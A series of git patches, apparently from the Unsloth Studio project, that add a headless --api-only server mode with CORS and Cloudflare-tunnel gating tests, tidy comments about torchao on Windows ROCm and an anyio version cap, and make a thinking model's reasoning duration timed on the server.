+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -31,11 +31,14 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
         # --no-cloudflare always wins.
         (False, "0.0.0.0", False, False, False, False),
         (False, "127.0.0.1", True, False, False, False),
-        # api-only and Colab never tunnel.
+        # Non-secure api-only never tunnels (Tauri).
         (True, "0.0.0.0", False, True, False, False),
-        (True, "127.0.0.1", True, True, False, False),
+        # --secure tunnels even api-only (headless secure API server).
+        (True, "127.0.0.1", True, True, False, True),
+        # Colab never tunnels, even --secure.
         (True, "0.0.0.0", False, False, True, False),
         (True, "127.0.0.1", True, False, True, False),
+        (True, "127.0.0.1", True, True, True, False),
     ],
 )
 def test_cloudflare_gate(cloudflare, host, secure, api_only, is_colab, expected):
@@ -162,3 +165,46 @@ def test_failclosed_message_present_in_source():
         "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link"
         in src
     )
+
+
+@pytest.mark.parametrize(
+    "api_only,secure,expected",
+    [
+        (False, False, ["*"]),  # plain server: any origin
+        (False, True, ["*"]),  # secure UI server: any origin
+        (True, True, ["*"]),  # secure api-only: remote browsers need any origin
+        (True, False, "tauri"),  # local api-only: locked to the Tauri app
+    ],
+)
+def test_cors_origins_for_mode(api_only, secure, expected):
+    from utils.host_policy import cors_origins_for_mode
+    origins = cors_origins_for_mode(api_only = api_only, secure = secure)
+    if expected == "tauri":
+        assert origins != ["*"] and any(o.startswith("tauri://") for o in origins)
+    else:
+        assert origins == expected
+
+
+def test_run_server_exports_secure_env_for_cors():
+    # run_server must export UNSLOTH_SECURE before importing main so the CORS
+    # profile can tell remote secure serving from local Tauri use.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert 'os.environ["UNSLOTH_SECURE"] = "1"' in src
+
+
+def test_run_server_emit_tauri_port_defaults_on():
+    # Default on keeps the desktop app's stdout contract; the headless
+    # `run --api-only` path opts out explicitly.
+    import inspect
+
+    import run
+
+    params = inspect.signature(run.run_server).parameters
+    assert "emit_tauri_port" in params
+    assert params["emit_tauri_port"].default is True
+
+
+def test_tauri_port_print_is_gated_in_source():
+    # The TAURI_PORT line must depend on emit_tauri_port, not api_only alone.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert "if api_only and emit_tauri_port:" in src
diff --git a/studio/backend/utils/host_policy.py b/studio/backend/utils/host_policy.py
index bd9ebd68ba..f506eadc03 100644
--- a/studio/backend/utils/host_policy.py
+++ b/studio/backend/utils/host_policy.py
@@ -34,6 +34,26 @@ def is_external_host(host: str) -> bool:
     return host.lower() not in _LOOPBACK_HOSTS
 
 
+# Tauri desktop webview origins. api-only serving (the desktop app calling a
+# local backend) locks CORS to these.
+_TAURI_CORS_ORIGINS = (
+    "tauri://localhost",  # Linux/macOS Tauri webview
+    "http://tauri.localhost",  # Windows Tauri webview
+    "http://localhost",  # dev fallback
+    "http://localhost:5173",  # Tauri dev/Vite
+    "http://127.0.0.1:5173",  # Tauri dev/Vite fallback
+)
+
+
+def cors_origins_for_mode(*, api_only: bool, secure: bool) -> list[str]:
+    """Allowed CORS origins. Default is any-origin (["*"]); api-only locks down
+    to the Tauri desktop app, except in secure mode where the API is published
+    over Cloudflare and must stay reachable from remote browser origins."""
+    if api_only and not secure:
+        return list(_TAURI_CORS_ORIGINS)
+    return ["*"]
+
+
 def apply_stdio_mcp_loopback_default(host: str, *, is_colab: bool = False) -> None:
     """Default stdio MCP servers on when bound to loopback.
 
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index cde3d2cdbc..5975e7e355 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -776,6 +776,16 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --api-only: dropping it here would silently serve the UI.
+        if api_only:
+            typer.echo(
+                f"Error: --api-only on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --api-only ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
@@ -1031,6 +1041,12 @@ def run(
     host: str = typer.Option("127.0.0.1", "--host", "-H"),
     # `-f` removed (clustered `-fa`/`-fit*`); studio_default keeps it.
     frontend: Optional[Path] = typer.Option(None, "--frontend"),
+    api_only: bool = typer.Option(
+        False,
+        "--api-only",
+        help = "Serve only the API (no web UI), for a headless model server. "
+        "Pairs with --secure to expose the API over the Cloudflare link alone.",
+    ),
     silent: bool = typer.Option(False, "--silent", "-q"),
     enable_tools: Optional[bool] = typer.Option(
         None,
@@ -1214,6 +1230,8 @@ def run(
         args.append("--load-in-4bit" if load_in_4bit else "--no-load-in-4bit")
         if frontend:
             args.extend(["--frontend", str(frontend)])
+        if api_only:
+            args.append("--api-only")
         if silent:
             args.append("--silent")
         # Forward the resolved tool policy so the child doesn't re-resolve.
@@ -1262,9 +1280,13 @@ def run(
         host = host,
         port = port,
         silent = True,
+        api_only = api_only,
         llama_parallel_slots = parallel,
         cloudflare = cloudflare,
         secure = secure,
+        # Headless serving prints its own URL/API-key banner; the Tauri-only
+        # TAURI_PORT line would corrupt that machine-parseable output.
+        emit_tauri_port = False,
     )
     if frontend is not None:
         run_kwargs["frontend_path"] = frontend
diff --git a/unsloth_cli/tests/test_studio_run_parallel_flag.py b/unsloth_cli/tests/test_studio_run_parallel_flag.py
index 8caf31a432..558b268a4d 100644
--- a/unsloth_cli/tests/test_studio_run_parallel_flag.py
+++ b/unsloth_cli/tests/test_studio_run_parallel_flag.py
@@ -361,6 +361,29 @@ def test_studio_default_rejects_parallel_when_subcommand_invoked():
     ), f"error message must show the corrected invocation; got: {combined}"
 
 
+def test_studio_default_rejects_api_only_when_subcommand_invoked():
+    """`unsloth studio --api-only run ...` would silently serve the UI (the
+    parent's --api-only never reaches run). The callback rejects with exit 2
+    and points at the subcommand flag."""
+    studio_mod = _load_run_command()
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+
+    runner = CliRunner()
+    result = runner.invoke(app, ["studio", "--api-only", "run", "--model", "X"])
+    assert result.exit_code == 2, (
+        f"expected exit 2 when --api-only is on studio group with a "
+        f"subcommand invoked; got {result.exit_code}; output={result.output!r}"
+    )
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--api-only" in combined, combined
+    assert (
+        "run --api-only" in combined
+    ), f"error message must show the corrected invocation; got: {combined}"
+
+
 def test_studio_default_default_parallel_with_subcommand_does_not_error():
     """Omitting --parallel on the group must still let subcommands
     run; the group's default 1 is benign."""
@@ -445,3 +468,81 @@ def test_in_venv_path_passes_parallel_to_run_server(monkeypatch, value):
     assert (
         captured.get("llama_parallel_slots") == value
     ), f"run_server got llama_parallel_slots={captured.get('llama_parallel_slots')!r}, expected {value}"
+
+
+# --api-only: serve API only (no UI). Both re-exec and in-venv paths must carry it.
+
+
+def test_api_only_option_is_registered():
+    studio_mod = _load_run_command()
+    import inspect
+
+    opt = inspect.signature(studio_mod.run).parameters["api_only"].default
+    assert "--api-only" in set(getattr(opt, "param_decls", []) or [])
+    assert getattr(opt, "default", None) is False  # opt-in; plain run keeps the UI
+
+
+@pytest.mark.parametrize(
+    "extra,present",
+    [
+        (["--api-only"], True),
+        (["--secure", "--api-only"], True),  # secure headless path
+        ([], False),
+    ],
+)
+def test_reexec_forwards_api_only(monkeypatch, extra, present):
+    """`--api-only` (and only when typed) must reach the re-exec'd child."""
+    result, captured = _invoke_run(monkeypatch, _BASE + extra)
+    assert len(captured) == 1, result.output
+    argv = captured[0]["argv"]
+    assert ("--api-only" in argv) is present, argv
+
+
+@pytest.mark.parametrize("extra,expected", [(["--api-only"], True), ([], False)])
+def test_in_venv_path_passes_api_only_to_run_server(monkeypatch, extra, expected):
+    """In-venv path must forward --api-only to run_server(api_only=...)."""
+    studio_mod = _load_run_command()
+
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(sys, "prefix", str(fake_venv))
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+
+    captured: dict = {}
+
+    def fake_run_server(**kwargs):
+        captured.update(kwargs)
+        raise _RunServerCaptured(kwargs)
+
+    fake_backend_run = sys.modules.setdefault(
+        "studio.backend.run", _types_module("studio.backend.run")
+    )
+    fake_backend_run.run_server = fake_run_server
+    fake_backend_run._resolve_external_ip = lambda: "127.0.0.1"
+    monkeypatch.setattr(studio_mod, "_RUN_MODULE", fake_backend_run)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {
+            "allow_extra_args": True,
+            "ignore_unknown_options": True,
+        },
+    )(studio_mod.run)
+    CliRunner().invoke(app, _BASE + extra, catch_exceptions = True)
+
+    assert (
+        captured.get("api_only") is expected
+    ), f"run_server got api_only={captured.get('api_only')!r}, expected {expected}"
+    # Headless serving must suppress the Tauri-only TAURI_PORT line.
+    assert (
+        captured.get("emit_tauri_port") is False
+    ), f"run_server got emit_tauri_port={captured.get('emit_tauri_port')!r}, expected False"

From 935f6c50efd45018c312ea07911d55b98f34436a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:49:25 -0700
Subject: [PATCH 067/306] studio: tighten torchao Windows-ROCm comments and
 test docstrings (#6610)

---
 studio/backend/core/rag/embeddings.py       | 12 ++++--------
 studio/backend/tests/test_torchao_select.py |  7 +++----
 studio/install_python_stack.py              | 12 +++++-------
 tests/studio/install/test_rocm_support.py   |  7 +++----
 4 files changed, 15 insertions(+), 23 deletions(-)

diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 4bbbd19196..4c8d690302 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -50,14 +50,10 @@ _torchao_stub_done = False
 
 
 def _install_torchao_stub_once() -> None:
-    """Neutralize torchao before the first sentence-transformers import.
-
-    transformers.quantizers imports torchao, which loads torch's c10d
-    distributed backend at module level; the AMD Windows ROCm wheels omit it
-    (no RCCL), so the import aborts and silently drops the ST embedder to the
-    llama-server fallback. The training/export workers install this stub at
-    process start, but the embedder runs in the main backend process, which
-    otherwise never does. No-op off Windows ROCm. Runs once (under ``_lock``)."""
+    """Neutralize torchao before importing sentence-transformers. On Windows ROCm,
+    torchao (pulled in by transformers.quantizers) imports an absent c10d backend
+    and aborts, dropping the embedder to llama-server. Workers stub it too; the
+    embedder runs in the main process. No-op elsewhere; runs once under ``_lock``."""
     global _torchao_stub_done
     if _torchao_stub_done:
         return
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index 3ff9873270..a99eb4c45c 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -72,10 +72,9 @@ def test_default_spec_matches_table(monkeypatch):
 
 
 def test_skips_torchao_on_windows_rocm():
-    """The overrides step must skip torchao on Windows ROCm. There is no working
-    torchao build there: it loads torch's c10d distributed backend at import,
-    which the AMD Windows wheels omit, so `import torchao` raises and takes
-    transformers.quantizers with it. Studio stubs torchao at runtime instead."""
+    """The overrides step must skip torchao on Windows ROCm: no working build exists
+    there (it imports an absent c10d backend and crashes transformers.quantizers),
+    so the installer skips it and relies on the runtime stub instead."""
     source = _INSTALL_SCRIPT.read_text(encoding = "utf-8")
     # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ...
     assert "elif _rocm_windows_torch_installed:" in source
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index ce25c4faf9..491429a4ef 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -2234,16 +2234,14 @@ def install_python_stack() -> int:
     # 4. Overrides (torchao) -- force-reinstall. The torchao version is chosen to
     #    match the torch installed in the venv so its C++ extensions load (see
     #    _select_torchao_spec). Skip when torch is unavailable (e.g. Intel Mac
-    #    GGUF-only mode): torchao requires torch. Also skipped on Windows ROCm,
-    #    which has no working torchao build (see below).
+    #    GGUF-only mode): torchao requires torch. Also skipped on Windows ROCm
+    #    (no working build; see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
     elif _rocm_windows_torch_installed:
-        # torchao has no working Windows ROCm build: it loads torch's c10d
-        # distributed backend at import, which the AMD Windows wheels omit (no
-        # RCCL), so `import torchao` raises and takes transformers.quantizers
-        # down with it. Studio stubs torchao at runtime (core/_torchao_stub.py),
-        # so installing it only ships a package that crashes on import -- skip it.
+        # No working Windows ROCm torchao build: it imports an absent c10d backend
+        # and crashes transformers.quantizers. Studio stubs it at runtime, so
+        # installing it only ships a package that crashes on import -- skip it.
         _progress("dependency overrides (skipped, Windows ROCm)")
         _safe_print("   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)")
     else:
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index eeffb6fd95..4c50fa1c8e 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -2332,10 +2332,9 @@ class TestWorkerWindowsRocmPatches:
         assert "install_torchao_windows_rocm_stub()" in source
 
     def test_embedder_calls_shared_torchao_stub(self):
-        """rag/embeddings.py must install the stub before the first sentence-
-        transformers import. The embedder runs in the main backend process (not a
-        stubbed worker), so without this transformers -> torchao crashes on Windows
-        ROCm and the ST embedder silently drops to the llama-server fallback."""
+        """embeddings.py must install the stub before importing sentence-transformers:
+        it runs in the main process (not a stubbed worker), so otherwise transformers
+        -> torchao crashes on Windows ROCm and the embedder drops to llama-server."""
         source = _EMBEDDINGS_PATH.read_text(encoding = "utf-8")
         assert "install_torchao_windows_rocm_stub()" in source
 

From 1ffffc1cf1b6c2bbeeb543669673b6fcd10f4d23 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:50:53 -0700
Subject: [PATCH 068/306] Studio: correct anyio<4.14 comments to the real #6483
 cause (#6581)

#6579 reworded these comments to attribute the failure to a half-resolved
install and claimed a clean 4.14 is fine on 3.13. That is wrong: #6483 is a
genuine anyio 4.14 + Python 3.13 regression. 4.14 added a per-task cancel
scope in its asyncio backend (TaskHandle/_run_coro) that gets exited in the
wrong task under starlette's collapsing task group, raising the cancel-scope
RuntimeError on streaming; 4.13 has no such code and is unaffected (the
reporter confirmed 4.13.0 fixes it). The TaskHandle ImportError is only the
secondary macOS-arm symptom from the mlx-vs-cap version fight. Comments only.
---
 studio/backend/requirements/no-torch-runtime.txt      |  2 +-
 .../backend/requirements/single-env/constraints.txt   | 10 +++++-----
 .../single-env/overrides-darwin-arm64.txt             | 11 +++++------
 3 files changed, 11 insertions(+), 12 deletions(-)

diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index a611c009fb..9796fc3a50 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -56,7 +56,7 @@ httpx
 httpcore
 certifi
 idna
-anyio>=3.0,<4.14.0  # one consistent <4.14: 4.14's TaskHandle importers over a stale 4.13 _core/_tasks -> ImportError (#6483)
+anyio>=3.0,<4.14.0  # 4.14 asyncio cancel-scope RuntimeError on Py3.13 streaming (#6483); 4.13 unaffected
 sniffio
 h11
 
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index a916c6fc75..9e81880016 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -13,11 +13,11 @@ fastmcp>=3.0.2
 mcp>=1.24,<2
 websockets>=15.0.1
 
-# Keep anyio on one consistent <4.14 line. anyio 4.14 added TaskHandle (imported
-# by __init__.py and the asyncio backend from _core/_tasks); a clean 4.14 is fine
-# on 3.13. The real failure (#6483) is a half-resolved install: a stale 4.13
-# _core/_tasks (no TaskHandle) under 4.14's importers raises ImportError and 500s
-# the server. Global cap so later with-deps steps can't re-resolve it up.
+# Cap anyio <4.14: 4.14's new asyncio per-task cancel scope (TaskHandle/_run_coro)
+# gets exited in the wrong task on Python 3.13 under starlette's collapsing task
+# group, raising "RuntimeError: ... exit a cancel scope that isn't the current
+# task's" on streaming responses (#6483); 4.13 has no such code. Global cap so
+# later with-deps steps can't re-resolve it up.
 anyio<4.14.0
 
 pandas==2.3.3
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index a0e73c7efc..56b948644f 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -4,10 +4,9 @@
 # happens at runtime via the side-car venvs.
 transformers>=4.57.6
 
-# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap
-# (anyio<4.14.0). The -c constraint loses that fight on macOS-arm, leaving a
-# half-resolved anyio (4.14 importers over a stale 4.13 _core/_tasks with no
-# TaskHandle) that ImportErrors and 500s the server (#6483; clean 4.14 is fine,
-# it is the mix that breaks). An override wins the fight, so force one
-# consistent <4.14 here too.
+# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap (needed
+# for the 4.14 Python-3.13 streaming cancel-scope RuntimeError, #6483). The -c
+# constraint loses that fight on macOS-arm, leaving a half-resolved 4.14/4.13
+# anyio that also ImportErrors on TaskHandle and 500s the server. An override
+# wins the fight, so force one consistent <4.14 here too.
 anyio<4.14.0

From 6866362da7cfd9471729ac1413fab24e2e5596c4 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:59:56 -0700
Subject: [PATCH 069/306] studio: report the true reasoning duration and fix
 Stop for thinking models (#6521)

* studio: report the true reasoning duration and fix the Stop button for thinking models

For a local GGUF the "Thought for N" label was timed entirely on the client by a
brittle edge-detector, so an always-think model (Qwen3 MTP) that buffers its whole
reasoning and flushes it in one chunk showed "1 second" instead of the real
minute-plus. The client cannot time reasoning it receives atomically, so make the
timing backend-authoritative.

Backend: generate_chat_completion_with_tools measures wall-clock reasoning and
emits a Studio reasoning_summary event (duration_ms) at the moment reasoning ends
-- the first answer token, or end-of-stream for a reasoning-only reply -- for both
the tool-detection pass and the final-answer pass. Timing resets per tool
iteration so the final answer's thinking time wins on the client (which takes the
latest reasoning_summary). routes/inference.py forwards the event in the GGUF tool
stream.

Frontend: parse the reasoning_summary SSE into a _reasoningDurationMs chunk and
use it as the authoritative reasoning duration (last write wins), clamped to >= 0
and guarded to a finite number so a malformed or proxied chunk cannot produce a
NaN label; the persisted value wins for the final "Thought for N" label, with the
previous live timer kept only as a fallback when no metadata arrives.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 44 ++++++++-
 studio/backend/routes/inference.py            |  5 +
 .../backend/tests/test_llama_cpp_tool_loop.py | 91 +++++++++++++++++++
 .../src/components/assistant-ui/reasoning.tsx |  3 +-
 .../src/features/chat/api/chat-adapter.ts     | 19 ++++
 .../src/features/chat/api/chat-api.ts         | 13 +++
 6 files changed, 171 insertions(+), 4 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index ac9d370b7d..8a7fad9af4 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -7757,6 +7757,15 @@ class LlamaCppBackend:
         _accumulated_completion_tokens = 0
         _accumulated_predicted_ms = 0.0
         _accumulated_predicted_n = 0
+        # GGUF buffers reasoning; emit server-side timing before answer text.
+        _reasoning_started_at: Optional[float] = None
+        _reasoning_summary_emitted = False
+
+        def _reasoning_summary_event(started_at: float) -> dict:
+            return {
+                "type": "reasoning_summary",
+                "duration_ms": round((time.monotonic() - started_at) * 1000.0),
+            }
 
         def _strip_tool_markup(
             text: str,
@@ -7894,6 +7903,9 @@ class LlamaCppBackend:
                 content_buffer = ""  # Raw content held during BUFFERING
                 content_accum = ""  # All content tokens (for tool parsing)
                 reasoning_accum = ""
+                # Time each reasoning pass so final answers can replace tool timing.
+                _reasoning_started_at = None
+                _reasoning_summary_emitted = False
                 cumulative_display = ""  # Cumulative yielded text (with <think>)
                 in_thinking = False
                 has_content_tokens = False
@@ -8068,6 +8080,8 @@ class LlamaCppBackend:
                                 # between tool iterations).
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
+                                    if _reasoning_started_at is None:
+                                        _reasoning_started_at = time.monotonic()
                                     reasoning_accum += reasoning
                                     if detect_state == _S_STREAMING:
                                         if not in_thinking:
@@ -8083,6 +8097,13 @@ class LlamaCppBackend:
                                 # ── Content tokens ──
                                 token = delta.get("content", "")
                                 if token:
+                                    # First answer token ends reasoning.
+                                    if (
+                                        _reasoning_started_at is not None
+                                        and not _reasoning_summary_emitted
+                                    ):
+                                        _reasoning_summary_emitted = True
+                                        yield _reasoning_summary_event(_reasoning_started_at)
                                     has_content_tokens = True
                                     content_accum += token
 
@@ -8180,9 +8201,10 @@ class LlamaCppBackend:
                                     ),
                                 }
                         elif reasoning_accum and not has_content_tokens:
-                            # Reasoning-only response: show reasoning as plain
-                            # text, matching the final streaming pass for
-                            # models that put everything in reasoning.
+                            # Reasoning-only reply: show it as plain text.
+                            if _reasoning_started_at is not None and not _reasoning_summary_emitted:
+                                _reasoning_summary_emitted = True
+                                yield _reasoning_summary_event(_reasoning_started_at)
                             cumulative_display = reasoning_accum
                             if not _suppress_visible_output:
                                 yield {
@@ -8591,6 +8613,8 @@ class LlamaCppBackend:
         in_thinking = False
         has_content_tokens = False
         reasoning_text = ""
+        _final_reasoning_started_at: Optional[float] = None
+        _final_reasoning_summary_emitted = False
         _metadata_usage = None
         _metadata_timings = None
         _metadata_finish_reason = None
@@ -8616,6 +8640,12 @@ class LlamaCppBackend:
                             continue
                         if line == "data: [DONE]":
                             if in_thinking:
+                                if (
+                                    _final_reasoning_started_at is not None
+                                    and not _final_reasoning_summary_emitted
+                                ):
+                                    _final_reasoning_summary_emitted = True
+                                    yield _reasoning_summary_event(_final_reasoning_started_at)
                                 if has_content_tokens:
                                     cumulative += "</think>"
                                     yield {
@@ -8648,6 +8678,8 @@ class LlamaCppBackend:
 
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
+                                    if _final_reasoning_started_at is None:
+                                        _final_reasoning_started_at = time.monotonic()
                                     reasoning_text += reasoning
                                     if not in_thinking:
                                         cumulative += "<think>"
@@ -8657,6 +8689,12 @@ class LlamaCppBackend:
 
                                 token = delta.get("content", "")
                                 if token:
+                                    if (
+                                        _final_reasoning_started_at is not None
+                                        and not _final_reasoning_summary_emitted
+                                    ):
+                                        _final_reasoning_summary_emitted = True
+                                        yield _reasoning_summary_event(_final_reasoning_started_at)
                                     has_content_tokens = True
                                     if in_thinking:
                                         cumulative += "</think>"
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 53d81961c3..7010fcfabc 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -5101,6 +5101,11 @@ async def openai_chat_completions(
                             _stream_finish = event.get("finish_reason")
                             continue
 
+                        if event["type"] == "reasoning_summary":
+                            # Forward server-side reasoning timing to the UI.
+                            yield f"data: {json.dumps(event)}\n\n"
+                            continue
+
                         # "content" type -- cumulative text. Sanitize the full
                         # cumulative then diff against the last sanitized
                         # snapshot so cross-chunk XML tags are handled correctly.
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 687829980b..56e028bd5a 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -77,6 +77,23 @@ def _tool_names(payload: dict) -> list[str]:
     ]
 
 
+def _patch_monotonic(monkeypatch, values: list[float]) -> None:
+    import core.inference.llama_cpp as llama_cpp_mod
+
+    it = iter(values)
+    last = values[-1]
+
+    def fake_monotonic() -> float:
+        nonlocal last
+        try:
+            last = next(it)
+        except StopIteration:
+            pass
+        return last
+
+    monkeypatch.setattr(llama_cpp_mod.time, "monotonic", fake_monotonic)
+
+
 def _structured_tool_call(tool_name: str, arguments: dict, call_id: str) -> list[str]:
     return [
         _sse(
@@ -200,6 +217,80 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
 
+def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
+    stream = [
+        _sse({"reasoning_content": "I am thinking."}),
+        _sse({"reasoning_content": " Still thinking."}),
+        _sse({"content": "Final answer."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [100.0, 110.0, 172.0, 172.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "answer"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    summary_index = next(
+        i for i, event in enumerate(events) if event["type"] == "reasoning_summary"
+    )
+    content_index = next(i for i, event in enumerate(events) if event["type"] == "content")
+    assert summary_index < content_index
+    assert events[summary_index]["duration_ms"] == 62000
+    assert (
+        events[content_index]["text"]
+        == "<think>I am thinking. Still thinking.</think>Final answer."
+    )
+
+
+def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch):
+    tool_stream = [
+        _sse({"reasoning_content": "Need a render."}),
+        _sse(
+            {
+                "content": '<tool_call>{"name":"render_html","arguments":{"code":"<html>ok</html>"}}</tool_call>'
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [
+        _sse({"reasoning_content": "Now synthesize."}),
+        _sse({"content": "Final from tool."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [200.0, 201.0, 203.0, 300.0, 400.0, 405.0, 405.0])
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        return "Rendered HTML canvas: Done."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "render then answer"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    summaries = [event for event in events if event["type"] == "reasoning_summary"]
+    assert [event["duration_ms"] for event in summaries] == [2000, 5000]
+    final_summary_index = events.index(summaries[-1])
+    final_content_index = next(
+        i
+        for i, event in enumerate(events)
+        if event.get("type") == "content" and "Final from tool." in event.get("text", "")
+    )
+    assert final_summary_index < final_content_index
+
+
 def test_repeat_render_html_nudge_is_not_user_visible_error(monkeypatch):
     """A repeated render_html call is an internal no-op, not a visible card."""
 
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index b81c2f2176..c5b53577cb 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -394,7 +394,8 @@ const ReasoningGroupImpl: ReasoningGroupComponent = ({
         <ReasoningTrigger
           className="min-w-0 flex-1"
           active={isReasoningStreaming}
-          duration={duration || persistedDuration}
+          // Prefer server timing when available.
+          duration={persistedDuration || duration}
         />
         <div className="flex w-16 shrink-0 justify-end">
           {isOpen && !isReasoningStreaming && (
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index a58cdd94d7..5e8fc9cb25 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2627,6 +2627,17 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                 continue;
               }
 
+              // Local GGUF sends server-timed reasoning duration. Guard the type
+              // so a malformed or proxied chunk (string/null/NaN duration) can
+              // never turn the label into NaN.
+              const reasoningMs = (
+                chunk as { _reasoningDurationMs?: number } | null | undefined
+              )?._reasoningDurationMs;
+              if (typeof reasoningMs === "number" && Number.isFinite(reasoningMs)) {
+                reasoningDuration = Math.max(0, Math.round(reasoningMs / 1000));
+                continue;
+              }
+
               // Diffusion frame: a transient canvas snapshot. Route it to the transient
               // store (the in-bubble renderer reads it) and skip it; it has no assistant
               // text, so it never enters the transcript or the counters below.
@@ -3175,6 +3186,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
               }
               const textParts = parseAssistantContent(cumulativeText);
 
+              // Fallback when no server-side reasoning_summary arrives.
               if (
                 textParts.some((part) => part.type === "reasoning") &&
                 !reasoningStartAt
@@ -3283,6 +3295,13 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
           finalTokPerSec,
         );
 
+        // Finalize reasoning-only streams.
+        if (reasoningStartAt && !reasoningDuration) {
+          reasoningDuration = Math.max(
+            0,
+            Math.round((Date.now() - reasoningStartAt) / 1000),
+          );
+        }
         yield {
           content: [
             ...buildAssistantContent(cumulativeText),
